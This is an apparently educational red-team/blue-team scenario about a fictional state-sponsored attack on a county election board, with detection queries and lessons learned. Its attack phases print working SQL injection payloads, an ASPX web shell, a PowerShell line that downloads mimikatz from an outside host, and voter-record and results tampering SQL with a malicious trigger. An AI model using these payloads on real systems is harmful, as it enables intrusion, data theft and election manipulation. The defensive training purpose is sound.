Skip to content

SC-104: Election Infrastructure Attack -- Operation BALLOT BOX

Educational Content Only

This scenario uses 100% synthetic data for educational purposes. All IP addresses use RFC 5737 (192.0.2.x, 198.51.100.x, 203.0.113.x) or RFC 1918 (10.x, 172.16.x, 192.168.x) ranges. All domains use *.example.com. All credentials are testuser/REDACTED. No real organizations, infrastructure, or individuals are represented. Offense content is presented exclusively to improve defensive capabilities. This scenario is designed to train election security defenders and does not represent any real election system, jurisdiction, or political entity.

Scenario Overview

Field Detail
ID SC-104
Operation Name BALLOT BOX
Category Critical Infrastructure / Election Security / Multi-Vector
Severity Critical
ATT&CK Tactics Reconnaissance, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Impact
ATT&CK Techniques T1595 (Active Scanning), T1190 (Exploit Public-Facing Application), T1110.004 (Brute Force: Credential Stuffing), T1059.001 (Command and Scripting: PowerShell), T1053.005 (Scheduled Task), T1078 (Valid Accounts), T1098 (Account Manipulation), T1003.001 (OS Credential Dumping: LSASS), T1505.003 (Server Software Component: Web Shell), T1565.001 (Data Manipulation: Stored Data), T1498 (Network Denial of Service), T1491.002 (Defacement: External)
Threat Actor IRON CURTAIN -- A state-sponsored APT group with the strategic objective of undermining public confidence in democratic elections through data manipulation, service disruption, and information operations. Not aligned with any domestic political faction; the goal is chaos and distrust.
Target Environment Columbia County Board of Elections (columbia-elections.example.com) -- a fictional county election authority managing voter registration and election-night reporting for 485,000 registered voters
Difficulty ★★★★★
Duration 6-8 hours
Estimated Impact Voter registration database integrity compromised (12,400 records modified); election-night reporting website defaced and DDoS'd for 4.5 hours; credential stuffing against poll worker portal; public confidence crisis requiring multi-agency response; no vote tallying systems affected (air-gapped); estimated remediation and public trust restoration cost $18M

Narrative

Columbia County Board of Elections (CCBE) is the election authority for a fictional metropolitan county with 485,000 registered voters across 312 precincts. CCBE manages voter registration, poll worker training, ballot preparation, election-day operations, and results reporting. The county uses a mix of modern and legacy systems reflecting the typical resource constraints of county-level election administration.

CCBE's technology environment includes: a voter registration database (VRDB) running on Microsoft SQL Server behind an IIS web application; a public-facing voter lookup portal (voters.columbia-elections.example.com); a poll worker management portal (pollworkers.columbia-elections.example.com); an election-night results reporting website (results.columbia-elections.example.com); and air-gapped vote tallying systems at the county election center. The VRDB web application was custom-developed 8 years ago and has received only minimal security updates.

CCBE's IT team consists of 3 full-time staff and 2 contractors who are supplemented during election season by 4 temporary workers. Cybersecurity is managed by the county IT department, which provides shared firewall, email filtering, and basic endpoint protection. CISA (Cybersecurity and Infrastructure Security Agency) provided a vulnerability assessment 6 months ago, identifying several critical findings that remain partially remediated due to budget constraints.

Six weeks before a major general election, IRON CURTAIN launches a multi-phase campaign against CCBE's election infrastructure. Their objective is not to change vote counts (the tallying systems are air-gapped) but to undermine public confidence through voter registration manipulation, election-night service disruption, and information operations amplifying the chaos.

Environment

Component Detail
Organization Columbia County Board of Elections
Domain columbia-elections.example.com
Registered Voters 485,000 across 312 precincts
IT Staff 3 FTE + 2 contractors + 4 seasonal workers
VRDB Server IIS 10.0 + ASP.NET + SQL Server 2016 at 10.10.5.20
Voter Portal voters.columbia-elections.example.com (public)
Poll Worker Portal pollworkers.columbia-elections.example.com (authenticated)
Results Website results.columbia-elections.example.com (CDN-hosted)
Internal Network 10.10.0.0/16
DMZ 192.0.2.0/24 (web servers, proxied to internal)
Vote Tallying Air-gapped network at election center (no internet)
Security Stack Palo Alto PA-820 NGFW, Microsoft Defender for Endpoint, Azure Sentinel (basic tier)
Compliance EAC VVSG guidelines, CISA election security recommendations
CISA Support Albert sensor deployed, vulnerability assessment completed

Attack Timeline

Phase 1: Reconnaissance and Vulnerability Discovery (Weeks 1-2, E-42 to E-28)

ATT&CK Techniques: T1595 (Active Scanning), T1592 (Gather Victim Host Information), T1589 (Gather Victim Identity Information)

IRON CURTAIN conducts extensive reconnaissance of CCBE's internet-facing infrastructure, identifying the voter registration portal, poll worker management system, and election-night results website. They also collect publicly available information about CCBE staff, technology vendors, and election procedures.

# Simulated reconnaissance (educational only)
# Attacker maps election infrastructure attack surface

# Step 1: DNS and subdomain enumeration
# Discovered subdomains:
#   columbia-elections.example.com (main site)
#   voters.columbia-elections.example.com (voter lookup portal)
#   pollworkers.columbia-elections.example.com (poll worker portal)
#   results.columbia-elections.example.com (election night results)
#   mail.columbia-elections.example.com (email server)
#   vpn.columbia-elections.example.com (staff VPN)
#   ftp.columbia-elections.example.com (legacy FTP -- FINDING)

# Step 2: Web application fingerprinting
# voters.columbia-elections.example.com:
#   Server: Microsoft-IIS/10.0
#   X-Powered-By: ASP.NET
#   X-AspNet-Version: 4.0.30319
#   Application: Custom voter lookup (8 years old)
#   Features: Voter registration lookup, polling place finder,
#             sample ballot preview, voter registration form
#   WAF: None detected
#   Rate limiting: None detected

# pollworkers.columbia-elections.example.com:
#   Server: Microsoft-IIS/10.0
#   Application: Poll worker management portal
#   Authentication: Username/password (no MFA)
#   Self-service password reset: Email-based
#   Features: Training schedules, precinct assignments, pay stubs

# results.columbia-elections.example.com:
#   Hosted on CDN (cdn-provider.example.com)
#   Static HTML + JavaScript
#   Data source: JSON API at api.results.columbia-elections.example.com
#   API hosted on same infrastructure as VRDB (10.10.5.20)

# Step 3: OSINT on election staff
# CCBE publishes staff directory on main website:
#   Director: testuser1@columbia-elections.example.com
#   Deputy Director: testuser2@columbia-elections.example.com
#   IT Manager: testuser3@columbia-elections.example.com
#   Database Admin: testuser4@columbia-elections.example.com
#   Poll Worker Coordinator: testuser5@columbia-elections.example.com

# Step 4: Identify SQL injection vulnerability
# Voter lookup portal search form:
GET https://voters.columbia-elections.example.com/lookup?
    lastname=Smith&dob=1990-01-01&zip=12345

# Testing for SQL injection:
GET https://voters.columbia-elections.example.com/lookup?
    lastname=Smith'--&dob=1990-01-01&zip=12345

# Response: 500 Internal Server Error
# Stack trace exposed (detailed errors enabled):
# System.Data.SqlClient.SqlException:
# Unclosed quotation mark after the character string 'Smith'--'
# at VoterLookup.SearchVoters(String lastName, String dob, String zip)

# CONFIRMED: SQL injection in voter lookup portal
# The application concatenates user input directly into SQL queries
# No parameterized queries, no input validation, no WAF

Detection Opportunity -- Reconnaissance:

// KQL -- Detect SQL injection probing against election web apps
CommonSecurityLog
| where TimeGenerated > ago(14d)
| where DeviceVendor == "Palo Alto Networks"
| where RequestURL has "voters.columbia-elections.example.com"
| where RequestURL has_any ("'", "--", "UNION", "SELECT",
                            "1=1", "OR 1", "DROP", "xp_")
| summarize ProbeCount = count(),
            UniquePayloads = dcount(RequestURL),
            SourceIPs = make_set(SourceIP, 20)
            by bin(TimeGenerated, 1h)
| where ProbeCount > 5
| project TimeGenerated, ProbeCount, UniquePayloads, SourceIPs

// KQL -- Detect aggressive scanning of election subdomains
DnsEvents
| where TimeGenerated > ago(14d)
| where Name endswith "columbia-elections.example.com"
| summarize SubdomainQueries = dcount(Name),
            AllSubdomains = make_set(Name, 50),
            SourceIPs = make_set(ClientIP)
            by bin(TimeGenerated, 1h)
| where SubdomainQueries > 10
| project TimeGenerated, SubdomainQueries, AllSubdomains, SourceIPs
# SPL -- Detect SQL injection attempts against voter portal
index=web sourcetype=iis earliest=-14d
| search cs_uri_stem="*voters*" AND cs_uri_stem="*lookup*"
| search (cs_uri_query="*'*" OR cs_uri_query="*--*"
         OR cs_uri_query="*UNION*" OR cs_uri_query="*SELECT*"
         OR cs_uri_query="*xp_*")
| stats count as probe_count, dc(cs_uri_query) as unique_payloads,
        values(c_ip) as source_ips by _time span=1h
| where probe_count > 5
| table _time, probe_count, unique_payloads, source_ips

# SPL -- Detect directory and subdomain enumeration
index=dns sourcetype=dns earliest=-14d
| search query="*columbia-elections.example.com"
| stats dc(query) as subdomain_queries, values(query) as subdomains,
        values(src_ip) as source_ips by _time span=1h
| where subdomain_queries > 10
| table _time, subdomain_queries, subdomains, source_ips

Phase 2: Voter Registration Database Compromise (Weeks 3-4, E-28 to E-14)

ATT&CK Techniques: T1190 (Exploit Public-Facing Application), T1505.003 (Server Software Component: Web Shell), T1003.001 (OS Credential Dumping: LSASS), T1565.001 (Data Manipulation: Stored Data)

IRON CURTAIN exploits the SQL injection vulnerability to gain access to the voter registration database. They extract the full voter roll for intelligence purposes, then subtly modify 12,400 voter registration records to cause confusion at polling places on election day.

# Simulated VRDB compromise (educational only)
# Attacker exploits SQL injection to access voter registration data

# Step 1: SQL injection exploitation
# Attacker uses UNION-based SQL injection to extract data:
GET https://voters.columbia-elections.example.com/lookup?
    lastname=x' UNION SELECT table_name,NULL,NULL,NULL,NULL
    FROM information_schema.tables--&dob=1990-01-01&zip=12345

# Database tables discovered:
#   dbo.Voters (485,000 rows)
#   dbo.Precincts (312 rows)
#   dbo.PollWorkers (2,400 rows)
#   dbo.ElectionResults (staging table for results)
#   dbo.AuditLog (application audit trail)
#   dbo.Users (admin portal users)

# Step 2: Extract voter registration data
# Column enumeration:
GET https://voters.columbia-elections.example.com/lookup?
    lastname=x' UNION SELECT column_name,NULL,NULL,NULL,NULL
    FROM information_schema.columns WHERE table_name='Voters'--
    &dob=1990-01-01&zip=12345

# Columns: VoterID, FirstName, LastName, DOB, SSN_Last4,
#           Address, City, State, Zip, PrecinctID,
#           PartyAffiliation, RegistrationDate, Status,
#           PollingPlace, VoterHistory

# Data extraction (batched, synthetic):
# 485,000 voter records extracted over 72 hours
# Rate: ~2,800 records per hour via SQL injection
# Total: ~8 GB of voter registration data

# Step 3: Web shell installation via SQL injection
# Use xp_cmdshell to write a web shell (requires SA privileges):
GET https://voters.columbia-elections.example.com/lookup?
    lastname=x'; EXEC sp_configure 'show advanced options',1;
    RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1;
    RECONFIGURE;--&dob=1990-01-01&zip=12345

# Write ASPX web shell to IIS web root:
GET https://voters.columbia-elections.example.com/lookup?
    lastname=x'; EXEC xp_cmdshell 'echo ^<%@ Page Language="C#"
    %^>^<%@ Import Namespace="System.Diagnostics" %^>
    ^<script runat="server"^>
    void Page_Load(Object s,EventArgs e){
    Process p=new Process();
    p.StartInfo.FileName="cmd.exe";
    p.StartInfo.Arguments="/c "+Request["c"];
    p.StartInfo.UseShellExecute=false;
    p.StartInfo.RedirectStandardOutput=true;
    p.Start();Response.Write(p.StandardOutput.ReadToEnd());}
    ^</script^> > C:\inetpub\wwwroot\voters\system-health.aspx';
    --&dob=1990-01-01&zip=12345

# Web shell accessible at:
# https://voters.columbia-elections.example.com/system-health.aspx?c=whoami
# Output: nt authority\system (IIS runs as SYSTEM -- misconfigured)

# Step 4: Credential dumping from VRDB server
# Via web shell:
GET https://voters.columbia-elections.example.com/system-health.aspx?
    c=powershell -ep bypass -c "IEX(New-Object Net.WebClient).
    DownloadString('https://203.0.113.100/tools/mimikatz.ps1');
    Invoke-Mimikatz"

# Captured credentials (synthetic, educational only):
# columbia-elections\testuser3 (IT Manager) -- REDACTED
# columbia-elections\testuser4 (Database Admin) -- REDACTED
# columbia-elections\svc-vrdb (VRDB service account) -- REDACTED
# sa (SQL Server SA) -- REDACTED

# Step 5: Voter registration data manipulation
# IRON CURTAIN's goal: cause maximum confusion at polling places
# Strategy: Subtle changes that are hard to detect but cause
# voters to be turned away or sent to wrong locations

# Manipulation type 1: Change polling place assignments (5,200 voters)
# Target: Voters in high-turnout precincts
UPDATE Voters SET PrecinctID = PrecinctID + 1,
    PollingPlace = (SELECT PollingPlace FROM Precincts
    WHERE PrecinctID = Voters.PrecinctID + 1)
WHERE VoterID IN (SELECT TOP 5200 VoterID FROM Voters
    WHERE PrecinctID IN (SELECT TOP 20 PrecinctID FROM Precincts
    ORDER BY RegisteredVoters DESC)
    ORDER BY NEWID())

# Manipulation type 2: Change voter status to "Inactive" (4,800 voters)
# Target: Voters who voted in the last 3 elections (reliable voters)
UPDATE Voters SET Status = 'Inactive'
WHERE VoterID IN (SELECT TOP 4800 VoterID FROM Voters
    WHERE Status = 'Active'
    AND VoterHistory LIKE '%2024%' AND VoterHistory LIKE '%2022%'
    ORDER BY NEWID())

# Manipulation type 3: Modify addresses (2,400 voters)
# Subtle changes: apartment numbers, street suffixes
UPDATE Voters SET Address = REPLACE(Address, 'Apt ', 'Unit ')
WHERE VoterID IN (SELECT TOP 2400 VoterID FROM Voters
    WHERE Address LIKE '%Apt%'
    ORDER BY NEWID())

# Total records modified: 12,400 (2.6% of voter roll)
# Changes designed to be plausible (not obviously malicious)
# No audit log entries (attacker disabled logging first):
UPDATE dbo.AuditLog SET IsEnabled = 0
    WHERE LogType = 'DataModification'

# Attacker also plants a time-delayed trigger:
CREATE TRIGGER [dbo].[ElectionDayTrigger] ON [dbo].[Voters]
AFTER UPDATE AS
BEGIN
    -- On election day, any voter status update triggers
    -- additional random status changes to 100 nearby records
    -- This amplifies chaos during election-day voter check-in
    IF GETDATE() >= '2026-11-03'
    BEGIN
        UPDATE TOP (100) Voters SET Status = 'Challenged'
        WHERE PrecinctID IN (SELECT PrecinctID FROM inserted)
        AND VoterID NOT IN (SELECT VoterID FROM inserted)
    END
END

Detection Opportunity -- VRDB Compromise:

// KQL -- Detect SQL injection exploitation (successful)
SecurityEvent
| where TimeGenerated > ago(14d)
| where Computer == "VRDB-SERVER"
| where EventID == 4688  // Process creation
| where CommandLine has_any ("xp_cmdshell", "sp_configure",
                             "mimikatz", "powershell -ep bypass")
| project TimeGenerated, Computer, CommandLine, Account,
          ParentProcessName

// KQL -- Detect mass voter record modifications
AzureDiagnostics
| where TimeGenerated > ago(14d)
| where Category == "SQLSecurityAuditEvents"
| where statement_s has "UPDATE" and statement_s has "Voters"
| summarize UpdateCount = count(),
            UniqueStatements = dcount(statement_s),
            Accounts = make_set(server_principal_name_s)
            by bin(TimeGenerated, 1h)
| where UpdateCount > 100
| project TimeGenerated, UpdateCount, UniqueStatements, Accounts

// KQL -- Detect web shell creation on IIS servers
DeviceFileEvents
| where Timestamp > ago(14d)
| where DeviceName has "VRDB" or DeviceName has "voters"
| where FileName endswith ".aspx" or FileName endswith ".asp"
| where FolderPath has "inetpub" or FolderPath has "wwwroot"
| where InitiatingProcessFileName in ("w3wp.exe", "cmd.exe",
                                       "powershell.exe", "sqlservr.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
          InitiatingProcessFileName, InitiatingProcessCommandLine
# SPL -- Detect SQL injection leading to command execution
index=windows sourcetype=WinEventLog:Security earliest=-14d
| search host="VRDB-SERVER" EventCode=4688
| search (CommandLine="*xp_cmdshell*" OR CommandLine="*sp_configure*"
         OR CommandLine="*mimikatz*" OR CommandLine="*-ep bypass*")
| table _time, host, CommandLine, Account, ParentProcessName

# SPL -- Detect bulk voter record modifications
index=mssql sourcetype=mssql:audit earliest=-14d
| search statement="*UPDATE*Voters*"
| bucket _time span=1h
| stats count as update_count, dc(statement) as unique_statements,
        values(server_principal_name) as accounts by _time
| where update_count > 100
| table _time, update_count, unique_statements, accounts

# SPL -- Detect web shell file creation
index=windows sourcetype=WinEventLog:Sysmon earliest=-14d
| search EventCode=11 TargetFilename="*inetpub\\wwwroot*"
    AND (TargetFilename="*.aspx" OR TargetFilename="*.asp")
| table _time, host, TargetFilename, Image, User

Phase 3: Poll Worker Portal Credential Stuffing (Weeks 4-5, E-14 to E-7)

ATT&CK Techniques: T1110.004 (Brute Force: Credential Stuffing), T1078 (Valid Accounts), T1098 (Account Manipulation)

IRON CURTAIN launches a credential stuffing campaign against the poll worker management portal using credentials from previous data breaches. The portal lacks MFA and has no account lockout policy, making it vulnerable to automated attacks.

# Simulated credential stuffing (educational only)
# Attacker targets poll worker portal with stolen credentials

# Step 1: Compile credential list
# IRON CURTAIN obtains email/password pairs from:
#   - Previous data breach compilations
#   - County employee email patterns (firstname.lastname@...)
#   - LinkedIn profiles of known election staff and poll workers
# Credential list: 48,000 email/password pairs

# Step 2: Credential stuffing attack
# Target: https://pollworkers.columbia-elections.example.com/login
# Tool: Custom HTTP client with residential proxy rotation
# Rate: 5 attempts per minute per IP (below rate-limit thresholds)
# Proxy pool: 2,000 residential IPs (203.0.113.0/24 range for sim)

# Attack parameters:
POST https://pollworkers.columbia-elections.example.com/api/auth
Content-Type: application/json
{"email": "testuser@columbia-elections.example.com",
 "password": "REDACTED"}

# Results over 5 days:
# Total attempts: 48,000
# Valid credentials found: 147 (0.3% success rate)
# Unique poll workers compromised: 147 of 2,400 (6.1%)
# Accounts with admin privileges: 3

# Step 3: Access poll worker portal with stolen credentials
# Poll worker portal contains:
#   - Precinct assignments and addresses
#   - Poll worker personal information (SSN, bank accounts for pay)
#   - Training completion records
#   - Election-day procedures and emergency contacts
#   - Provisional ballot handling instructions

# Step 4: Modify poll worker assignments (using admin accounts)
# Attacker reassigns 45 poll workers to wrong precincts
# Result: On election day, some precincts will be short-staffed
# Changes are subtle: workers reassigned to nearby precincts
# Effect: Confusion, delays, longer lines at affected precincts

# Step 5: Download poll worker PII
# 2,400 poll worker records extracted including:
#   Names, addresses, phone numbers
#   SSN (last 4), bank routing/account numbers
#   Political party affiliations
# This data will be used in the information operations phase
# to discredit the election and intimidate poll workers

Detection Opportunity -- Credential Stuffing:

// KQL -- Detect credential stuffing against poll worker portal
SigninLogs
| where TimeGenerated > ago(7d)
| where AppDisplayName == "Poll Worker Portal"
| where ResultType != "0"  // Failed logins
| summarize FailedAttempts = count(),
            UniqueAccounts = dcount(UserPrincipalName),
            UniqueIPs = dcount(IPAddress),
            SuccessAfterFailure = countif(ResultType == "0")
            by bin(TimeGenerated, 1h)
| where FailedAttempts > 50 AND UniqueAccounts > 20
| project TimeGenerated, FailedAttempts, UniqueAccounts,
          UniqueIPs, SuccessAfterFailure

// KQL -- Detect successful logins from credential stuffing
SigninLogs
| where TimeGenerated > ago(7d)
| where AppDisplayName == "Poll Worker Portal"
| where ResultType == "0"
| where IPAddress !startswith "10."
| summarize LoginCount = count(),
            UniqueIPs = dcount(IPAddress),
            IPs = make_set(IPAddress, 10)
            by UserPrincipalName, bin(TimeGenerated, 1d)
| where UniqueIPs > 3
| project TimeGenerated, UserPrincipalName, LoginCount,
          UniqueIPs, IPs
# SPL -- Detect credential stuffing patterns
index=web sourcetype=iis earliest=-7d
| search cs_uri_stem="*pollworkers*" cs_uri_stem="*auth*"
| eval login_status = if(sc_status=200, "success", "failure")
| bucket _time span=1h
| stats count(eval(login_status="failure")) as failed,
        count(eval(login_status="success")) as success,
        dc(cs_username) as unique_accounts,
        dc(c_ip) as unique_ips by _time
| where failed > 50 AND unique_accounts > 20
| table _time, failed, success, unique_accounts, unique_ips

# SPL -- Detect successful logins from suspicious IPs
index=web sourcetype=iis earliest=-7d
| search cs_uri_stem="*pollworkers*" sc_status=200
| search NOT c_ip="10.*"
| stats count as logins, dc(c_ip) as unique_ips,
        values(c_ip) as ips by cs_username, _time span=1d
| where unique_ips > 3
| table _time, cs_username, logins, unique_ips, ips

Phase 4: Election Night -- DDoS and Defacement (E-Day, November 3)

ATT&CK Techniques: T1498 (Network Denial of Service), T1491.002 (Defacement: External Defacement), T1565.001 (Data Manipulation: Stored Data)

On election night, IRON CURTAIN executes the most visible phase of the attack: a sustained DDoS attack against the election results reporting website combined with defacement of the voter lookup portal. The timing is designed for maximum public impact -- during peak viewership of election returns.

# Simulated election night attack (educational only)
# Attacker disrupts election results reporting

# Timeline: Election Day, November 3, 2026

# [18:00 UTC] Polls close in Columbia County
# [18:15 UTC] First results begin uploading to results website
# [18:30 UTC] Results website traffic surges (250,000 concurrent users)

# [19:00 UTC] PHASE 1: DDoS attack begins
# IRON CURTAIN activates botnet against results infrastructure:
# Target 1: results.columbia-elections.example.com (CDN-hosted)
# Target 2: api.results.columbia-elections.example.com (origin)
# Target 3: columbia-elections.example.com (main site)

# DDoS parameters:
#   Botnet: 45,000 compromised IoT devices
#   Attack vectors (layered):
#     Layer 3/4: UDP flood at 180 Gbps against origin IP
#     Layer 7: HTTP flood at 2.5M requests/sec against CDN
#     DNS amplification: 85 Gbps against DNS infrastructure
#   Origin IP: 192.0.2.50 (results API server)

# CDN absorbs Layer 7 attack for first 30 minutes
# BUT: Layer 3/4 attack overwhelms upstream ISP link (1 Gbps)
# ISP's DDoS mitigation activates but takes 45 minutes to converge
# Result: All CCBE internet services offline from 19:00-19:45

# [19:00-19:45 UTC] IMPACT: Results website unreachable
# 250,000 citizens cannot access election results
# Social media explodes with speculation:
#   "Columbia County results website DOWN on election night"
#   "Are they hiding something?"
#   "Election integrity compromised?"
# Local TV stations unable to pull results feed
# National media picks up the outage story

# [19:15 UTC] PHASE 2: Results website defacement
# While DDoS overwhelms defenders, attacker uses web shell
# on VRDB server to modify results API data:

# Via web shell on VRDB server (already compromised):
GET https://voters.columbia-elections.example.com/system-health.aspx?
    c=sqlcmd -S localhost -d ElectionResults -Q "
    UPDATE ElectionResults
    SET VotesCandidate1 = VotesCandidate1 * 1.15,
        VotesCandidate2 = VotesCandidate2 * 0.85
    WHERE PrecinctID IN (SELECT TOP 50 PrecinctID
    FROM Precincts ORDER BY RegisteredVoters DESC)"

# Modified results for top 50 precincts:
#   Candidate 1 votes inflated by 15%
#   Candidate 2 votes reduced by 15%
#   These are UNOFFICIAL results (display only, not vote tallies)
#   But public does not understand the distinction

# [19:45 UTC] DDoS mitigation converges, services come back online
# Results website displays MODIFIED (fake) results
# For 45 minutes, the public sees falsified vote counts
# Screenshots spread across social media

# [20:00 UTC] PHASE 3: Voter portal defacement
# Attacker modifies voter lookup portal main page:
GET https://voters.columbia-elections.example.com/system-health.aspx?
    c=copy C:\inetpub\wwwroot\voters\index.html
    C:\inetpub\wwwroot\voters\index.html.bak &&
    echo "<html><body style='background:black;color:red;
    text-align:center;font-size:36px;padding-top:200px'>
    YOUR VOTE DOES NOT COUNT<br>
    THE SYSTEM IS COMPROMISED<br>
    WE HAVE YOUR DATA</body></html>"
    > C:\inetpub\wwwroot\voters\index.html

# Defacement visible to public for ~20 minutes before IT responds

# [20:15 UTC] Election night database trigger activates
# The trigger planted in Phase 2 fires when poll workers
# update voter check-in records:
# Additional 100 random voter records marked "Challenged"
# per precinct update -- creating cascading confusion
# in the voter registration system

# [20:30 UTC] CCBE IT team discovers defacement and data manipulation
# Incident response begins under extreme pressure

Detection Opportunity -- Election Night Attacks:

// KQL -- Detect DDoS attack against election infrastructure
AzureNetworkAnalytics_CL
| where TimeGenerated > ago(24h)
| where FlowType_s == "InboundFlow"
| where DestIP_s in ("192.0.2.50", "192.0.2.51")
| summarize TotalFlows = count(),
            TotalBytes = sum(BytesSentToDestination_d),
            UniqueSourceIPs = dcount(SrcIP_s)
            by bin(TimeGenerated, 5m)
| where TotalFlows > 100000 or TotalBytes > 1000000000
| project TimeGenerated, TotalFlows, TotalBytes, UniqueSourceIPs

// KQL -- Detect election results data manipulation
SecurityEvent
| where TimeGenerated > ago(24h)
| where Computer == "VRDB-SERVER"
| where EventID == 4688
| where CommandLine has "ElectionResults" and CommandLine has "UPDATE"
| project TimeGenerated, Account, CommandLine, ParentProcessName

// KQL -- Detect web defacement (file modification in web root)
DeviceFileEvents
| where Timestamp > ago(24h)
| where FolderPath has "inetpub\\wwwroot"
| where ActionType == "FileModified" or ActionType == "FileCreated"
| where FileName endswith ".html" or FileName endswith ".aspx"
| project Timestamp, DeviceName, FileName, FolderPath,
          InitiatingProcessFileName, InitiatingProcessCommandLine
# SPL -- Detect DDoS traffic surge against election servers
index=firewall sourcetype=pan:traffic earliest=-24h
| search dest_ip IN ("192.0.2.50", "192.0.2.51")
| bucket _time span=5m
| stats count as total_flows, sum(bytes_in) as total_bytes,
        dc(src_ip) as unique_sources by _time
| where total_flows > 100000 OR total_bytes > 1000000000
| table _time, total_flows, total_bytes, unique_sources

# SPL -- Detect results database modification
index=mssql sourcetype=mssql:audit earliest=-24h
| search database_name="ElectionResults" AND statement="*UPDATE*"
| table _time, server_principal_name, client_ip, statement

# SPL -- Detect web root file modifications
index=windows sourcetype=WinEventLog:Sysmon earliest=-24h
| search EventCode=11 TargetFilename="*inetpub\\wwwroot*"
| search (TargetFilename="*.html" OR TargetFilename="*.aspx")
| table _time, host, TargetFilename, Image, User

Phase 5: Incident Response Under Extreme Pressure (E-Day + Hours)

ATT&CK Technique: Multiple -- Response Phase

CCBE's incident response unfolds under extraordinary constraints: election night with active media coverage, public panic on social media, limited IT staff, and the need to restore accurate results reporting while preserving forensic evidence.

# Simulated incident response (educational only)
# Response under extreme time pressure and public scrutiny

# [20:30 UTC] Discovery and initial response
[20:30] CCBE IT Manager (testuser3) discovers voter portal defacement
[20:32] IT Manager attempts to restore index.html from backup
        BUT: Web shell provides attacker persistent access
        Attacker re-defaces the page within 5 minutes
[20:35] IT Manager contacts county IT security (after-hours)
[20:40] County CISO arrives (remote), declares incident
[20:42] CISA Albert sensor operators notified
[20:45] IT Manager takes voter portal offline entirely
        (IIS stopped on 192.0.2.50)

# [20:45-21:00 UTC] Triage under fire
# Challenges:
# 1. Results website showing FALSIFIED numbers
#    - Public watching falsified results for 45 minutes
#    - Screenshots already on social media
#    - Media calling CCBE for comment
# 2. IT staff: 1 IT manager + 1 contractor (election night)
# 3. Election Director on phone with Secretary of State
# 4. County attorney demanding updates every 10 minutes
# 5. No incident response plan specific to election night

# [21:00 UTC] Critical decisions under pressure
# DECISION 1: Take results website offline?
#   PRO: Stop displaying falsified results
#   CON: Fuel conspiracy theories about "hiding results"
#   DECISION: Take offline, post statement on county social media

# DECISION 2: Are actual vote tallies affected?
#   CRITICAL ASSESSMENT: Vote tallying system is AIR-GAPPED
#   The election results website pulls from a DISPLAY database
#   NOT from the actual tallying system
#   Actual vote counts on air-gapped system are UNAFFECTED
#   But the public does not understand this distinction

# [21:15 UTC] Multi-agency response activated
[21:15] CISA Regional Coordinator contacted (election night hotline)
[21:20] FBI Cyber Division notified (election infrastructure attack)
[21:30] State election security task force activated
[21:45] CISA deploys remote incident response team
[22:00] FBI Cyber Special Agent arrives on-site
[22:00] County issues press statement:
        "Columbia County election results website experienced a
         cybersecurity incident. ACTUAL VOTE TALLIES ARE UNAFFECTED.
         The vote counting system operates on a separate, air-gapped
         network. We are working with federal partners to restore
         accurate results reporting. Official results will be
         posted on the Secretary of State's website."

# [22:00-00:00 UTC] Containment and restoration
[22:00] CISA team connects remotely to CCBE network
[22:15] Web shell discovered (system-health.aspx)
[22:15] All IIS services on VRDB server stopped
[22:30] Forensic image of VRDB server initiated
[22:45] SQL injection entry point identified in voter lookup
[23:00] Modified election results identified and quantified
        CISA compares display database to air-gapped tallies
        Discrepancies confirmed in top 50 precincts
[23:15] Clean results loaded from air-gapped tallying system
[23:30] Results website restored with VERIFIED data
[23:30] Banner added: "Results verified as of 23:30 UTC"
[23:45] Voter registration modifications discovered (12,400 records)
[00:00] Database trigger discovered and removed

# [Day E+1 through E+7] Extended response
[E+1] Press conference with Election Director, CISA, and FBI
      Key message: "No votes were changed. The display website
      was temporarily compromised, but the actual vote counting
      system was never connected to the internet."
[E+1] Credential stuffing against poll worker portal confirmed
[E+2] VRDB restored from pre-compromise backup (October 20 copy)
      12,400 voter records restored to correct values
      Affected voters contacted individually
[E+3] Full forensic timeline established by CISA
[E+5] Voter registration database trigger removed
[E+7] After-action report initiated

Impact Assessment

Category Impact
Voter Records Modified 12,400 (2.6% of registered voters)
Falsified Results Displayed 45 minutes of incorrect election returns
Results Website Downtime 4.5 hours total (DDoS + containment)
Poll Workers Compromised 147 credential sets (3 with admin access)
Poll Worker PII Exposed 2,400 records including partial SSNs and bank data
Vote Tallies Affected NONE (air-gapped tallying system)
DDoS Peak 180 Gbps volumetric + 2.5M req/sec application layer
Public Trust Impact Severe -- social media amplification of false narratives
Agencies Involved CISA, FBI, State election security task force
Estimated Cost $18M (remediation, legal, public outreach, technology upgrades)
Election Validity Election results certified after forensic verification

Detection & Response

How Blue Team Should Have Caught This

Detection Strategy 1: Web Application Firewall (WAF)

The voter lookup portal had no WAF protection, allowing trivial SQL injection exploitation. A WAF with SQL injection detection rules would have blocked the initial attack vector. CISA provides free WAF recommendations and deployment assistance to election authorities through their Election Infrastructure Security program.

Detection Strategy 2: Database Activity Monitoring

Mass modification of 12,400 voter records generated no alerts because audit logging was disabled by the attacker. Database activity monitoring (DAM) tools with immutable audit logs stored off-server would have detected both the audit log disablement and the mass UPDATE queries.

Detection Strategy 3: Multi-Factor Authentication on All Portals

The poll worker portal relied on username/password authentication without MFA, enabling credential stuffing. MFA on all election-related portals, combined with account lockout policies and CAPTCHA, would have prevented the 147 credential compromises.

Detection Strategy 4: DDoS Protection for Election Night

Election-night DDoS protection requires advance preparation: CDN with DDoS mitigation, upstream ISP scrubbing agreements, and pre-staged static fallback pages. CISA offers free Cloudflare Athenian Project protection to election entities.

Detection Strategy 5: Pre-Election Integrity Verification

A cryptographic hash of the voter registration database taken before the election and compared on election day would have detected the 12,400 modified records before polls opened. Regular integrity checks with tamper-evident logging provide defense against data manipulation.

Lessons Learned

Key Takeaways

  1. Election infrastructure faces unique time-pressure constraints -- Unlike corporate incidents where containment can take days, election night incidents must be resolved in hours. Incident response plans must include election-specific playbooks with pre-authorized actions, pre-staged communications, and designated decision-makers available on election night.

  2. Voter registration systems require the same protection as financial systems -- The custom-built, 8-year-old VRDB application had trivial SQL injection vulnerabilities. Election applications must undergo regular penetration testing, use parameterized queries, deploy WAFs, and receive security updates on a defined schedule.

  3. Air-gapped vote tallying is a critical architectural control -- The air-gap between the vote tallying system and the internet-connected results display infrastructure prevented actual vote manipulation. This architectural separation must be maintained and clearly communicated to the public during incidents.

  4. Information operations amplify technical attacks -- The technical attack (4.5 hours of downtime) caused less damage than the information operation: 45 minutes of falsified results on social media created lasting doubt. Defenders must plan for the information warfare dimension, including pre-drafted communications and rapid public messaging capabilities.

